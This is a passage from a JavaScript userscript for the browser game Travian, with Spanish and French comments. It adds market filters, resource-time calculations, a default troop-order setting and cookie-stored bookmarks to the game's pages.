<b>' + (pc_necesarios - pc_actual) + '</b> ' + T('PC') + '<br/>');\n\t\t\t\ttexto.push(T('LISTO') + \" \" + texto_tiempo);\n\t\t\t}\n\t\t\ttexto.push('</td></tr>');\n\t\t}\n\t\ttexto.push('</table>');\n\n\t\ta.snapshotItem(4).parentNode.innerHTML += \"<p>\" + texto.join('') + \"</p>\";\n\t}\n\n\t/** Oculta un elemento y le asgina un atributo de tipo filtro\n\t *\n\t * Params:\n\t *\toferta: elemento a modificar\n\t *\tfiltro: nombre del filtro que se le aplicara como atributo\n\t */\n\tfunction asignarFiltro(oferta, filtro)\n\t{\n\t\toferta.setAttribute(\"style\", \"display:none\");\n\t\toferta.setAttribute(\"filtro\" + filtro, \"on\");\n\t}\n\n\t/** Elimina un atributo de tipo filtro de un elemento y elimina su estilo si no tiene ningun filtro activo\n\t *\n\t * Params:\n\t *\toferta: elemento a modificar\n\t *\tfiltro: nombre del filtro a quitar\n\t *\tfiltros: lista de filtros a comprobar para quitar el estilo\n\t */\n\tfunction quitarFiltro(oferta, filtro, filtros)\n\t{\n\t\toferta.removeAttribute(\"filtro\" + filtro);\n\t\tvar remove = true;\n\t\tfor (var i = 0; i < filtros.length; i++)\n\t\t\tif (oferta.getAttribute(\"filtro\" + filtros[i]) == 'on')\n\t\t\t\tremove = false;\n\t\tif (remove == true)\n\t\t\toferta.removeAttribute(\"style\");\n\t}\n\n\t/** Il crée la fonction qui gère les filtres sur le marché\n\t *\n\t * Param:\n\t *\ttipo\tTipo de filtro (0 para ofrezco, 1 para busco y 2 para tipo)\n\t *\trecurso\tRecurso del filtro (0-4 recursos basicos, 5 para cualquiera)\n\t *\n\t * Returns:\n\t *\tLa funcion que gestiona el evento\n\t */\n\tfunction funcionFiltrosMercado(tipo, recurso){\n\t\tvar funcion = function ()\n\t\t{\n\t\t\tvar a = find(\"//table[@cellspacing='1' and @cellpadding='2' and @class='tbg' and not(@style)]//tr[not(@class)]\", XPList);\n\t\t\tfor (var i = 0; i < a.snapshotLength - 1; i++)\n\t\t\t{\n\t\t\t\tvar b = a.snapshotItem(i);\n\t\t\t\t// FIXME: para Firefox. FF mete nodos de tipo texto vacios\n\t\t\t\tif (b.childNodes.length > 8)\n\t\t\t\t\tvar error = true;\n\t\t\t\telse\n\t\t\t\t\tvar error = false;\n\t\t\t\tb.childNodes[error ? 1 : 0].firstChild.src.search(/\\/(\\d).gif$/);\n\t\t\t\tvar ofrezco = RegExp.$1;\n\t\t\t\tb.childNodes[error ? 4 : 2].firstChild.src.search(/\\/(\\d).gif$/);\n\t\t\t\tvar busco = RegExp.$1;\n\t\t\t\tvar ofrezco_cantidad = parseInt(b.childNodes[error ? 2 : 1].innerHTML);\n\t\t\t\tvar busco_cantidad = parseInt(b.childNodes[error ? 6 : 3].innerHTML);\n\t\t\t\tif (b.childNodes[error ? 11 : 6].className == 'c')\n\t\t\t\t\tvar carencia = true;\n\t\t\t\telse\n\t\t\t\t\tvar carencia = false;\n\t\t\t\tvar tiempo = calcular_segundos(b.childNodes[error ? 10 : 5].innerHTML);\n\n\n\t\t\t\t// Para mantener 4 filtros activos a la vez sobre cada oferta, utiliza 3 atributos distintos\n\t\t\t\t// sobre cada fila\n\t\t\t\tswitch(tipo)\n\t\t\t\t{\n\t\t\t\t\tcase 0:\n\t\t\t\t\t\tif ((ofrezco != recurso) && recurso != 5)\n\t\t\t\t\t\t\tasignarFiltro(b, \"Ofrezco\");\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tquitarFiltro(b, \"Ofrezco\", [\"Busco\", \"Tipo\", \"Carencia\", \"Tiempo\"]);\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase 1:\n\t\t\t\t\t\tif ((busco != recurso) && recurso != 5)\n\t\t\t\t\t\t\tasignarFiltro(b, \"Busco\");\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tquitarFiltro(b, \"Busco\", [\"Ofrezco\", \"Tipo\", \"Carencia\", \"Tiempo\"]);\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase 2:\n\t\t\t\t\t\tswitch(recurso)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase 1:\n\t\t\t\t\t\t\t\tif (ofrezco_cantidad != busco_cantidad)\n\t\t\t\t\t\t\t\t\tasignarFiltro(b, \"Tipo\");\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tquitarFiltro(b, \"Tipo\", [\"Ofrezco\", \"Busco\", \"Carencia\", \"Tiempo\"]);\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tcase 2:\n\t\t\t\t\t\t\t\tif (ofrezco_cantidad <= busco_cantidad)\n\t\t\t\t\t\t\t\t\tasignarFiltro(b, \"Tipo\");\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tquitarFiltro(b, \"Tipo\", [\"Ofrezco\", \"Busco\", \"Carencia\", \"Tiempo\"]);\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tcase 3:\n\t\t\t\t\t\t\t\tif (ofrezco_cantidad >= busco_cantidad)\n\t\t\t\t\t\t\t\t\tasignarFiltro(b, \"Tipo\");\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tquitarFiltro(b, \"Tipo\", [\"Ofrezco\", \"Busco\", \"Carencia\", \"Tiempo\"]);\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tcase 4:\n\t\t\t\t\t\t\t\tquitarFiltro(b, \"Tipo\", [\"Ofrezco\", \"Busco\", \"Carencia\", \"Tiempo\"]);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase 3:\n\t\t\t\t\t\tswitch(recurso)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase 1:\n\t\t\t\t\t\t\t\tif (carencia == true)\n\t\t\t\t\t\t\t\t\tasignarFiltro(b, \"Carencia\");\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tquitarFiltro(b, \"Carencia\", [\"Ofrezco\", \"Busco\", \"Tipo\", \"Tiempo\"]);\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase 2:\n\t\t\t\t\t\t\t\tquitarFiltro(b, \"Carencia\", [\"Ofrezco\", \"Busco\", \"Tipo\", \"Tiempo\"]);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase 4:\n\t\t\t\t\t\tswitch(recurso)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase 1:\n\t\t\t\t\t\t\t\tif (tiempo > (60*60))\n\t\t\t\t\t\t\t\t\tasignarFiltro(b, \"Tiempo\");\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tquitarFiltro(b, \"Tiempo\", [\"Ofrezco\", \"Busco\", \"Tipo\", \"Carencia\"]);\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tcase 2:\n\t\t\t\t\t\t\t\tif (tiempo > (2*60*60))\n\t\t\t\t\t\t\t\t\tasignarFiltro(b, \"Tiempo\");\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tquitarFiltro(b, \"Tiempo\", [\"Ofrezco\", \"Busco\", \"Tipo\", \"Carencia\"]);\n\t\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tcase 3:\n\t\t\t\t\t\t\t\tif (tiempo > (3*60*60))\n\t\t\t\t\t\t\t\t\tasignarFiltro(b, \"Tiempo\");\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tquitarFiltro(b, \"Tiempo\", [\"Ofrezco\", \"Busco\", \"Tipo\", \"Carencia\"]);\n\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\t\tcase 4:\n\t\t\t\t\t\t\t\tquitarFiltro(b, \"Tiempo\", [\"Ofrezco\", \"Busco\", \"Tipo\", \"Carencia\"]);\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Para mantener un unico sombreado por cada filtro, activa el que se ha seleccionado y elimina\n\t\t\t// el resto de su tipo\n\t\t\tfor (var i = 0; i < 5; i++)\n\t\t\t{\n\t\t\t\tfor (var j = 0; j < 6; j++)\n\t\t\t\t{\n\t\t\t\t\tvar a = find(\"//td[@id='filtro\" + i + j + \"']\", XPFirst);\n\t\t\t\t\tif (a)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (i == tipo && j == (recurso - 1))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ta.setAttribute(\"style\", \"background-color:#F5F5F5\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tif (i == tipo)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ta.removeAttribute(\"style\");\n\t\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn funcion;\n\t}\n\n\t\t/** Définissez des filtres pour chaque type de ressource et la proportion de l'offre d'échange pour la vente au marché */\n\tfunction filtrosMercado()\n\t{\n\t\tvar table = $elem(\"TABLE\", '', {\n\t\t\t'class': 'tbg',\n\t\t\t\"cellspacing\": \"1\",\n\t\t\t\"cellpadding\": \"2\"\n\t\t}, {\n\t\t\t'width': '100%'\n\t\t});\n\n\t\t// Se crea la tabla con 3 filas, Ofrezco, Busco y Tipo\n\t\tvar etiquetas = [T('OFREZCO'), T('BUSCO')];\n\t\tfor (var j = 0; j < 2; j++)\n\t\t{\n\t\t\tvar tr = $elem(\"TR\", '', {}, {}, table);\n\t\t\t$elem(\"TD\", etiquetas[j], {}, {}, tr);\n\t\t\t// Para Ofrezco y Busco se muestran 4 materiales y un quinto comodin\n\t\t\tfor (var i = 0; i < 4; i++)\n\t\t\t{\n\t\t\t\tvar td = $elem(\"TD\", '', {\n\t\t\t\t\t'id': \"filtro\" + j + i,\n\t\t\t\t\t'title': T('RECURSO' + (i + 1))\n\t\t\t\t}, {}, tr);\n\t\t\t\ttd.addEventListener(\"click\", funcionFiltrosMercado(j, i + 1), 0);\n\n\t\t\t\tvar ref = $elem(\"A\", '<img src=\"' + img('r/' + (i + 1) + '.gif') + '\" width=\"18\" height=\"12\" border=\"0\" title=\"' + T('RECURSO' + (i + 1)) + '\">', {}, {}, td);\n\t\t\t}\n\t\t\tvar td = $elem(\"TD\", '', {\n\t\t\t\t\"id\": \"filtro\" + j + \"4\"\n\t\t\t}, {\n\t\t\t\t'backgroundColor': '#F5F5F5'\n\t\t\t}, tr);\n\t\t\ttd.addEventListener(\"click\", funcionFiltrosMercado(j, 5), 0);\n\n\t\t\tvar ref = $elem(\"A\", T('CUALQUIERA'), {\n\t\t\t\t\"href\": \"javascript:void(0)\"\n\t\t\t}, {}, td);\n\n\t\t}\n\n\t\t// La fila del tipo especifica transacciones 1:1 o 1:x\n\t\tvar tr = $elem(\"TR\", \"\", {}, {}, table);\n\t\t$elem(\"TD\", T('TIPO'), {}, {}, tr);\n\t\tvar etiquetas_tipo = [\"1:1\", \"1:>1\", \"1:<1\", \"1:x\"];\n\t\tfor (var i = 0; i < 4; i++)\n\t\t{\n\t\t\tvar td = $elem(\"TD\", \"\", {'id': 'filtro2' + i}, {}, tr);\n\t\t\tif (i == 3)\n\t\t\t\ttd.setAttribute(\"style\", \"background-color:#F5F5F5\");\n\t\t\tvar ref = $elem(\"A\", etiquetas_tipo[i], {'href': 'javascript:void(0)'}, {}, td);\n\t\t\ttd.addEventListener(\"click\", funcionFiltrosMercado(2, (i + 1)), 0);\n\t\t}\n\t\t$elem(\"TD\", \"\", {}, {}, tr);\n\n\t\tvar tr = $elem(\"TR\", \"\", {}, {}, table);\n\t\t$elem(\"TD\", T('MAXTIME'), {}, {}, tr);\n\t\tvar etiquetas_tipo = [\"1\", \"2\", \"3\", \">3\"];\n\t\tfor (var i = 0; i < 4; i++)\n\t\t{\n\t\t\tvar td = $elem(\"TD\", \"\", {\"id\": \"filtro4\" + i}, {}, tr);\n\t\t\tif (i == 3)\n\t\t\t\ttd.setAttribute(\"style\", \"background-color:#F5F5F5\");\n\t\t\tvar ref = $elem(\"A\", etiquetas_tipo[i], {\"href\": \"javascript:void(0)\"}, {}, td);\n\t\t\ttd.addEventListener(\"click\", funcionFiltrosMercado(4, (i + 1)), 0);\n\t\t}\n\t\t$elem(\"TD\", \"\", {}, {}, tr);\n\n\t\tvar tr = $elem(\"TR\", \"\", {}, {}, table);\n\t\t$elem(\"TD\", T('DISPONIBLE'), {}, {}, tr);\n\t\tvar etiquetas_carencia = [T('SI'), T('NO')];\n\t\tfor (var i = 0; i < 2; i++)\n\t\t{\n\t\t\tvar td = $elem(\"TD\", \"\", {\n\t\t\t\t\"colspan\": 2,\n\t\t\t\t\"id\": \"filtro3\" + i\n\t\t\t}, {}, tr);\n\t\t\tif (i == 1)\n\t\t\t\ttd.setAttribute(\"style\", \"background-color:#F5F5F5\");\n\t\t\tvar ref = $elem(\"A\", etiquetas_carencia[i], {\"href\":\"javascript:void(0)\"}, {}, td);\n\t\t\ttd.addEventListener(\"click\", funcionFiltrosMercado(3, (i + 1)), 0);\n\t\t}\n\t\t$elem(\"TD\", \"\", {}, {}, tr);\n\n\t\t// Busca la tabla de ofertas y la inserta justo antes\n\t\tvar a = find(\"//table[@cellspacing='1' and @cellpadding='2' and @class='tbg' and not(@style)]\", XPFirst);\n\t\tif (!a)\n\t\t\treturn;\n\t\tvar p = $elem(\"P\");\n\t\tp.appendChild(table);\n\t\ta.parentNode.insertBefore(p, a);\n\t}\n\n\tfunction crearFuncionExplorarUnidades(id, coste)\n\t{\n\t\tvar funcion = function()\n\t\t{\n\t\t\tvar a = find(\"//input[@type='text']\", XPList).snapshotItem(id - 1);\n\t\t\tvar b = find(\"//div[@name='exp\" + id + \"']\", XPFirst);\n\t\t\tvar c = calculateResourceTime(arrayByN(coste, a.value));\n\t\t\tif (c)\n\t\t\t\tb.innerHTML = c;\n\t\t\telse\n\t\t\t\tb.innerHTML = '';\n\t\t};\n\t\treturn funcion;\n\t}\n\n\tfunction tiempoExplorarUnidades()\n\t{\n\t\tif (!find(\"//form[@name='snd']//input[@type='image' and @value='ok']\", XPFirst))\n\t\t\treturn;\n\t\tvar a = find(\"//table[@class='tbg']//tr[not(@class)]//table[@class='f10']\", XPList);\n\t\tfor (var i = 0; i < a.snapshotLength; i++)\n\t\t{\n\t\t\tvar b = a.snapshotItem(i);\n\t\t\tvar c = $tags(\"td\", b)[2].textContent.split(\" \")[0].split(\"|\");\n\t\t\tvar tr = $elem(\"TR\");\n\t\t\tvar td = $elem(\"TD\", \"\", {\n\t\t\t\t\"colspan\": 2,\n\t\t\t\t\"class\": \"c f7 s7\"\n\t\t\t}, {}, tr);\n\t\t\tvar div = $elem(\"DIV\", \"\", {\"name\": \"exp\" + (i + 1)}, {}, td);\n\n\t\t\t// FIXME: Apanyo para Firefox. FF mete un nodo extra al principio de la tabla\n\t\t\tvar d = b.childNodes;\n\t\t\td[d.length - 1].appendChild(tr);\n\n\t\t\t$tags(\"input\", b.parentNode.parentNode)[0].addEventListener(\"keyup\", crearFuncionExplorarUnidades((i + 1), c), 0);\n\t\t}\n\t}\n\n\tfunction tiempoExplorar()\n\t{\n\t\tvar a = find(\"//table[@class='tbg']//tr[@class='cbg1']\", XPFirst);\n\t\t// FIXME: Apanyo para Firefox. FF mete varios nodos extras entre las columnas\n\t\tif (a == null || (a.childNodes.length != 2 && a.childNodes.length != 4))\n\t\t\treturn;\n\n\t\tvar a = a.parentNode.childNodes;\n\t\tfor (var i = 1; i < a.length; i++)\n\t\t{\n\t\t\tvar b = a[i];\n\t\t\tvar c = $tags(\"div\", b);\n\t\t\tif (c.length == 2 && c[1].className == 'c')\n\t\t\t{\n\t\t\t\tvar d = $tags(\"td\", b)[3].textContent.split(\"|\").splice(0, 4);\n\t\t\t\tvar e = calculateResourceTime(d);\n\t\t\t\tif (e)\n\t\t\t\t\tc[1].innerHTML = e;\n\t\t\t}\n\t\t}\n\t}\n\n\t/** Modifie la valeur par défaut type d'attaque à envoyer */\n\tAPAinfo = readCookie(\"APAinfo\");\n\tif (APAinfo == true || APAinfo == null)\n\t{\n\t\tvar APA = 3\n\t}\n\tAPAinfo = readCookie(\"APAinfo\");\n\tif (APAinfo == false || APAinfo == null)\n\t{\n\t\tvar APA = 4\n\t}\n\n\n\t\tfunction ataqueDefecto()\n\t{\n\t\tvar accion = APA; // 2 -> Assistance, 3 -> Attaque, 4 -> Pillage\n\t\t//var cities = find(\"//div[preceding-sibling::div[@class='div4']]//table[@class='f10']\", XPFirst);\n\t\tvar cities = find(\"//div[@id='lright1']//table[@class='f10']\", XPFirst);\n\t\tif (cities && location.href.search(/z=(\\d+)/) >= 0)\n\t\t{\n\t\t\tvar z = RegExp.$1;\n\t\t\tcities = cities.firstChild;\n\t\t\tfor (var i = 0; i < cities.childNodes.length; i++)\n\t\t\t{\n\t\t\t\tvar city = cities.childNodes[i];\n\t\t\t\tcity.textContent.search(/\\((.*)\\n?\\|\\n?(.*)\\)/);\n\t\t\t\tvar id = xy2id(RegExp.$1, RegExp.$2);\n\t\t\t\tif (id == z)\n\t\t\t\t\taccion = 2;\n\t\t\t}\n\t\t}\n\n\t\tif (find(\"//input[@name='c' and @value='\" + accion + \"']\", XPFirst))\n\t\t\tfind(\"//input[@name='c' and @value='\" + accion + \"']\", XPFirst).checked = true;\n\t}\n\n\t/**Insérer un nouveau marqueur et magasins\n\t *\n\t * Params:\n\t *\ttexto:\tTexto del marcador\n\t *\tenlace:\tEnlace a donde apunta el marcador\n\t */\n\tfunction agregarElementoCookie(cookie, values)\n\t{\n\t\tvar nuevo = '';\n\t\tfor (var i = 0; i < values.length; i++)\n\t\t{\n\t\t\tif (values[i] != '')\n\t\t\t{\n\t\t\t\tnuevo += values[i];\n\t\t\t\tif (i != values.length - 1)\n\t\t\t\t\tnuevo += '$';\n\t\t\t}\n\t\t\telse\n\t\t\t\treturn;\n\t\t}\n\t\tvar a = readCookie(cookie + \"_\" + server);\n\t\tif (a != null && a != '')\n\t\t\ta += \"$$\" + nuevo;\n\t\telse\n\t\t\ta = nuevo;\n\t\tcreateCookie(cookie + \"_\" + server, a, 365);\n\t}\n\n\t/** Il crée l'événement à supprimer un marqueur. Il supprime également et actualise la liste qui sont affichés\n\t *\n\t * Params:\n\t * \tnum:\tIdentificador de marcador a eliminar\n\t */\n\tfunction crearEventoEliminarCookie(cookie, num, funcion)\n\t{\n\t\treturn function()\n\t\t{\n\t\t\tvar a = readCookie(cookie + \"_\" + server);\n\t\t\tif (a != null)\n\t\t\t{\n\t\t\t\ta = a.split(\"$$\");\n\t\t\t\ta.splice(num, 1);\n\t\t\t\tcreateCookie(cookie + \"_\" + server, a.join(\"$$\"), 365);\n\t\t\t\tremoveElement(cookie);\n\t\t\t\tfuncion();\n\t\t\t}\n\t\t}\n\t}\n\n\t/** Récupérer marqueurs stockées. Deux marqueurs sont séparés par le symbole $$ y\n\t * en cada marcador el enlace y el texto estan separados por $. No se espera encontrar esos simbolos\n\t * en el texto o en los enlaces, ya que de lo contrario fallaria.\n\t *\n\t * Returns:\n\t *\tUn array con cada uno de los marcadores\n\t */\n\tfunction obtenerValorCookie(cookie)\n\t{\n\t\t// Importar marcadores de versiones antiguas del script\n\t\t// FIXME: Eliminar dentro de unas cuantas versiones\n\t\tvar b = readCookie(cookie);\n\t\tif (b != null && b != '')\n\t\t{\n\t\t\tcreateCookie(cookie + \"_\" + server, b, 365);\n\t\t\teraseCookie(cookie);\n\t\t}\n\n\t\tvar res = new Array();\n\t\tvar a = readCookie(cookie + \"_\" + server);\n\t\tif (a != null && a != '')\n\t\t{\n\t\t\ta = a.split(\"$$\");\n\t\t\tfor (var i = 0; i < a.length; i++)\n\t\t\t\tres[i] = a[i].split(\"$\");\n\t\t}\n\t\treturn res;\n\t}\n\n\t/** Affiche stockées marqueurs */\n\tfunction mostrarMarcadores()\n\t{\n\t\t// Intenta insertarlos en la lista derecha, si no existe la crea\n\t\tvar ba = get('lright1');\n\t\tif (!ba)\n\t\t{\n\t\t\tba = $elem(\"DIV\", \"\", {\"id\": \"lright1\"}, {}, 'lmidall');\n\t\t}\n\t\tvar div = $elem(\"DIV\", \"\", {\"id\": \"marcadores\"});\n\t\tvar titulo = $elem(\"B\", T('MARCADORES') + \":\", {\"class\": \"f10\"});\n\t\tvar enlace = $elem(\"A\", '<font color=#FF0000><i>' + T('ANYADIR') + '</i></font>', {\"href\": \"javascript:void(0)\"});\n\t\tvar tabla = $elem(\"TABLE\", \"\", {\"class\": \"f10\"});\n\t\t// Al anyadir se pide el texto y el enlace, si se cancela o se deja vacio alguno se aborta\n\t\t// Despues de insertar se refresca la lista volviendola a insertar\n\t\tenlace.addEventListener(\"click\", function()\n\t\t{\n\t\t\tvar a = prompt(T('ENLACE'), window.location.href);\n\t\t\t//\tif (a == null || a == '' || a == 'undefined') return;\n\t\t\tif (a == null || a == '')\n\t\t\t\treturn;\n\t\t\tvar b = prompt(T('TEXTO'));\n\t\t\t//\tif (b == null || b == '' || b == 'undefined') return;\n\t\t\tif (b == null || b == '')\n\t\t\t\treturn;\n\t\t\tagregarElementoCookie(\"marcadores\", [b, a]);\n\t\t\tremoveElement('marcadores');\n\t\t\tmostrarMarcadores();\n\t\t}, 0);\n\t\tdiv.appendChild(titulo);\n\t\tdiv.appendChild(document.createTextNode(\" (\"));\n\t\tdiv.appendChild(enlace);\n\t\tdiv.appendChild(document.createTextNode(\")\"));\n\t\tdiv.appendChild(tabla);\n\t\tvar p = $elem(\"P\");\n\t\tp.appendChild(div);\n\t\tba.appendChild(p);\n\t\tdiv.parentNode.setAttribute('style', 'white-space:nowrap');\n\t\t//ba.appendChild(div);\n\n\t\t// TMR - set bookmarks.\n\t\tvar arrCities = new Array();\n\t\tvar cities = find(\"//div[@id='lright1']/table[@class='f10']/tbody\", XPFirst);\n\t\tif (cities != null && cities.firstChild != null)\n\t\t{\n\t\t\tfor (var i = 0; i < cities.childNodes.length; i++)\n\t\t\t{\n\t\t\t\t// Utiliza el texto de las coordenadas para averiguar el ID necesario para los enlaces\n\t\t\t\tvar city = cities.childNodes[i];\n\t\t\t\t/*\n\t\t\t\tcity.innerHTML.search(/newdid=(\\d+)/);\n\t\t\t\tvar newdid = RegExp.$1;\n\t\t\t\t*/\n\t\t\t\tarrCities.push(city.innerHTML.match(/newdid=(\\d+)/)[1]);\n\t\t\t}\n\t\t}\n\n\t\tvar bookmarks = new Array();\n\t\t// bookmarks.push('<font color=#0000FF>Académie :</font>::build.php?gid=22');\n\t\t// bookmarks.push('<font color=#0000FF>Usine de poteries :</font>::build.php?gid=6');\n\t\t// bookmarks.push('<font color=#0000FF>Embassade :</font>::build.php?gid=18');\n\t\t// bookmarks.push('<font color=#0000FF>Moulin niveau :</font>::build.php?gid=8');\n\t\t// bookmarks.push('<font color=#0000FF>Scierie :</font>::build.php?gid=5');\n\t\t// bookmarks.push('<font color=#0000FF>Silo de céréales :</font>::build.php?gid=11');\n\t\t// bookmarks.push('<font color=#0000FF>Manoir du héros :</font>::build.php?gid=37');\n\t\t// bookmarks.push('<font color=#0000FF>Bâtiment principal :</font>::build.php?gid=15');\n\t\t// bookmarks.push('<font color=#0000FF>Place du Marché :</font>::build.php?gid=17');\n\t\t// bookmarks.push('<font color=#0000FF>Place de rassemblement :</font>::build.php?gid=16');\n\t\t// bookmarks.push('<font color=#0000FF>Fonderie :</font>::build.php?gid=7');\n\t\t// bookmarks.push('<font color=#0000FF>Warehouse :</font>::build.php?gid=10');\n\t\tif (location.href.match(/gid=14/))\n\t\t{\n\t\t\tbookmarks.push('<font color=#0000FF>PT :</font>::build.php?gid=14');\n\t\t};\n\t\tbookmarksinfo0 = readCookie(\"bookmarksinfo0\" + server);\n\t\tvar tmpStr1 = '<font color=#0000FF>';\n\t\tvar tmpStr2 = ' :</font>::build.php?gid=';\n\t\tif (bookmarksinfo0 == true || bookmarksinfo0 == null)\n\t\t{\n\t\t\tbookmarks.push(tmpStr1 + T('HOT') + tmpStr2 + '24');\n\t\t};\n\t\tbookmarksinfo1 = readCookie(\"bookmarksinfo1\" + server);\n\t\tif (bookmarksinfo1 == true || bookmarksinfo1 == null)\n\t\t{\n\t\t\tbookmarks.push(tmpStr1 + T('PAL') + tmpStr2 + '26');\n\t\t\tbookmarks.push(tmpStr1 + T('RESI') + tmpStr2 + '25');\n\t\t\tbookmarks.push(tmpStr1 + T('MAN') + tmpStr2 + '37');\n\t\t};\n\t\tbookmarksinfo2 = readCookie(\"bookmarksinfo2\" + server);\n\t\tif (bookmarksinfo2 == true || bookmarksinfo2 == null)\n\t\t{\n\t\t\tbookmarks.push(tmpStr1 + T('CUARTEL') + tmpStr2 + '19');\n\t\t\tbookmarks.push(tmpStr1 + T('CORRAL') + tmpStr2 + '20');\n\t\t\tbookmarks.push(tmpStr1 + T('TALLER') + tmpStr2 + '21');\n\t\t};\n\t\tbookmarksinfo3 = readCookie(\"bookmarksinfo3\" + server);\n\t\tif (bookmarksinfo3 == true || bookmarksinfo3 == null)\n\t\t{\n\t\t\tbookmarks.push(tmpStr1 + T('USI') + tmpStr2 + '13');\n\t\t\tbookmarks.push(tmpStr1 + T('ARM') + tmpStr2 + '12');\n\t\t};\n\n\t\t// bookmarks.push('<font color=#0000FF>'+T('PAL')+' PC :</font>::build.php?gid=26&s=2');\n\t\t// bookmarks.push('<font color=#0000FF>'+T('RESI')+' :</font>::build.php?gid=25');\n\n\t\tfor (var i = 0; i < bookmarks.length; i++)\n\t\t{\n\t\t\tvar temp = bookmarks[i].split('::');\n\t\t\tvar tr = $elem(\"TR\");\n\t\t\tvar className = '';\n\t\t\tif (location.href.substring(location.href.length - temp[1].length, location.href.length) == temp[1]) //highlight if we're on this page\n\t\t\t\tclassName = 'class=c2';\n\t\t\tvar td = $elem(\"TD\", \"<span \" + className + \">&#8226;</span>&nbsp; <a href='\" + temp[1] + \"'> \" + temp[0] + \"</a> \");\n\t\t\ttd.style.whiteSpace = 'nowrap';\n\t\t\ttr.appendChild(td);\n\t\t\tfor (var j = 0; j < arrCities.length; j++)\n\t\t\t{\n\t\t\t\ttd = $elem(\"TD\", \"<a href='\" + temp[1] + \"&newdid=\" + arrCities[j] + \"'> \" + (j + 1) + \" </a>\");\n\t\t\t\ttr.appendChild(td);\n\t\t\t}\n\t\t\ttabla.appendChild(tr);\n\t\t}\n\n\t\t// Se obtienen los marcadores y se insertan junto con un enlace para eliminarlos\n\t\tvar marcadores = obtenerValorCookie(\"marcadores\");\n\t\tfor (var i = 0; i < marcadores.length; i++)\n\t\t{\n\t\t\tvar tr = $elem(\"TR\", '', {}, {}, tabla);\n\t\t\tvar td;\n\t\t\t// this will ignore any incorrectly formatted bookmark entry\n\t\t\tif (marcadores[i][1] == undefined)\n\t\t\tcontinue;\n\n\t\t\t/*if (((marcadores[i][1].search(/karte.php\\?d=(\\d+)/))) > 0)\n\t\t\t{\n\t\t\t\ttd = $elem('TD', '', {}, {}, tr)\n\t\t\t\tvar a = RegExp.$1;\n\t\t\t\timgx = readCookie(\"imgx\");\n\n\t\t\t\t$elem('span', '&#8226;&nbsp; ', {}, {}, td);\n\t\t\t\t$elem('a', marcadores[i][0], {'href': marcadores[i][1], 'class': 'done', 'done':'1'}, {}, td);\n\t\t\t\t$elem('span', ' (' + zid2x(a) +'|' + zid2y(a) +') ', {'class':'done'}, {'wordBreak':'keep-all', 'font':'11px/1.5em Tahoma,Verdana,Arial !important', 'color':'grey'}, td);\n\n\t\t\t\tvar aA2b = $elem('a', '', {'href':'a2b.php?z=' + a}, {}, td);\n\t\t\t\t\t$elem('img', '', {'width':'11', 'border':'0', 'src': img('a/def1.gif'), 'title':T('ATACAR')}, {}, aA2b);\n\n\t\t\t\tvar aBuild = $elem('a', '', {'href':'build.php?z='+a+'&gid=17'}, {}, td);\n\t\t\t\t\t$elem('img', '', {'src': img('r/4.gif'), 'width':'18', 'border':'0', 'title':T('ALDEA_EXTRA2')}, {}, aBuild);\n\n\t\t\t\tvar aKarte = $elem('a', '', {'href':'karte.php?z='+a, 'target':'_blank'}, {}, td);\n\n\t\t\t\tvar imgSource = (imgx) ? imagenes['globe'] : img('a/globe.gif');\n\n\t\t\t\t$elem('img', '', {'src': imgSource, 'height':'11', 'border':'0', 'title':T('ALDEA_EXTRA3')}, {}, aKarte);\n\n\t\t\t}\n\t\t\telse*/\n\t\t\t\ttd = $elem(\"TD\", \"<span>&#8226;</span>&nbsp; <a href='\" + marcadores[i][1] + \"'>\" + marcadores[i][0] + \"</a>\", {}, {}, tr);\n\n\t\t\tvar enlace = $elem(\"A\", \" <img src='\" + img('a/del.gif') + \"' width='12' height='12' border='0' title='\" + T('ELIMINAR') + \"'>\", {'href':'javascript:void(0);'}, {}, td);\n\t\t\tenlace.addEventListener(\"click\", crearEventoEliminarCookie(\"marcadores\", i, mostrarMarcadores), 0);\n\t\t}\n\n\t\tblocNotasinfo = readCookie(\"blocNotasinfo\" + server);\n\t\tif (blocNotasinfo == true || blocNotasinfo == null)\n\t\t{\n\t\t\tblocNotas2(div);\n\t\t}\n\t}\n\n\n\t/** Il crée des liaisons directes dans la liste de villages pour envoyer des troupes ou envoyer des commerçants */\n\tfunction cityLinks()\n\t{\n\t\t// Localiza la lista de aldeas\n\t\tvar cities = find(\"//div[@id='lright1']//table[@class='f10']\", XPFirst);\n\t\tif (!cities)\n\t\t\treturn;\n\n\t\tcities = 